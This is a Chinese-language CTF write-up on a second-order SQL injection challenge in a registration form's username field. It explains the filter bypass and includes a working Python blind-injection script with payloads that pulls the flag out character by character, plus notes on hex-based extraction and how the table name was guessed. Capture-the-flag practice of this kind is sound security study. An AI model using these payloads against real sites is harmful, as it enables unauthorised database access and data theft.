读题
- 打开题目,发现其要我们进行登入,尝试注入无果。盲猜有注册页面,果然存在
regiester.php
。 - 我们随便注册一个,然后进行登入。进入index.php,唯一的收获是发现我们的username会显示出来。
- 此时我们猜测,注册的语句大概为:这样一来,我们便想到了闭合达到注入效果。
1
insert table values ('email','username','password')
- 同时我们还发现,如果注册成功会 302 跳转,失败的话会返回 200
解题
我们想利用的是username这个字段,先fuzzing一下看看过滤了那些东西。发现过滤了 information和 ,(逗号) 等。利用盲注来解题
我们知道,sql中相加是会先转化成数字(和php类似,弱类型)再进行相加。我们构造类似'0'+'x'+'0'
而其中的x就是我们的判断语句。如果x成立就会在index.php中回显用户名 1 否则为0 。
我们为了更好的定位到数字,我们构造'665'+'x'+'0'
那么就来看看我的垃圾代码吧:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41import time
import requests
url="http://54762a3d-67bd-455d-ab84-1b708aea2476.node3.buuoj.cn/"
# payload="665'+(ascii(substr((select database()) from {} for 1)) >{})+'0" # 报数据库
payload="665'+(ascii(substr(((select * from flag)) from {} for 1)) >{})+'"
result = ""
i = 0
f=1
while (True):
i = i + 1
head = 32
tail = 127
while (head < tail):
r = requests.session()
mid = (head + tail) >> 1
register = {
"email": "3111@q.com0"+str(f),
"username": payload.format(i, mid),
"password": "1231"
}
r1 = r.post(url+"register.php",data=register)
if r1.status_code == 429:
time.sleep(5)
else:
login={
"email": "3111@q.com0"+str(f),
"password": "1231"
}
r2 = r.post(url+"login.php", data=login)
if r2.status_code == 429:
time.sleep(5)
else:
r3=r.post(url+"index.php")
text=r3.text
f += 1
if '666' in text:
head = mid + 1
else:
tail = mid
result += chr(head)
print(result)
利用hex来解题
这次我们直接来解读用户名
我们可以知道sql中的hex是将字符串转为16进制的,同时我们还发现只要进行2次hex就不会出现类型abc这类字母,这有利于我们相加。
但是还有一个问题,就我们进行hex后再加的话一般都变成了科学计数法(1.23e14
)这样对我们读取信息不利。
经测试发现,只要我们读取不超过3个字符就不会进入到科学计数法这个模式(可以直接显示)。那么屁话不多说,我们直接贴一贴我的垃圾脚本:
1 | import base64 # 用来解16进制 |
疑难杂症
表名是怎么来的?
我们知道过滤了information 但我们想到了其它的表表名方法如:
1 | SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` |
但没有成功,why ?
因为 sys 库是在MySQL5.6或更高版本才有的,而我们这里的mysql版本,测试发现是5.5.64显然不可用。
那么…..
表名应该是猜的。flag 表。
注册的时候为什么要一直还邮箱?
如果不换邮箱名会一直得到第一次注册的那个用户名,故无有效数据。
这边我们发现同一个邮箱可以多次注册成功(会302跳转),但是显示的时候只显示了第一个注册的。应该是有排序我们登入查询一直查询到第一个。
python中16进制和str转换
这里似乎没有直接的语句可以将16进制转换为字符串,不过可以转换为bytes。我记录的有三种方法
1 | ## 将一个十六进制字符串解码成一个字节字符串或者将一个字节字符串编码成一个十六进制字符串。 |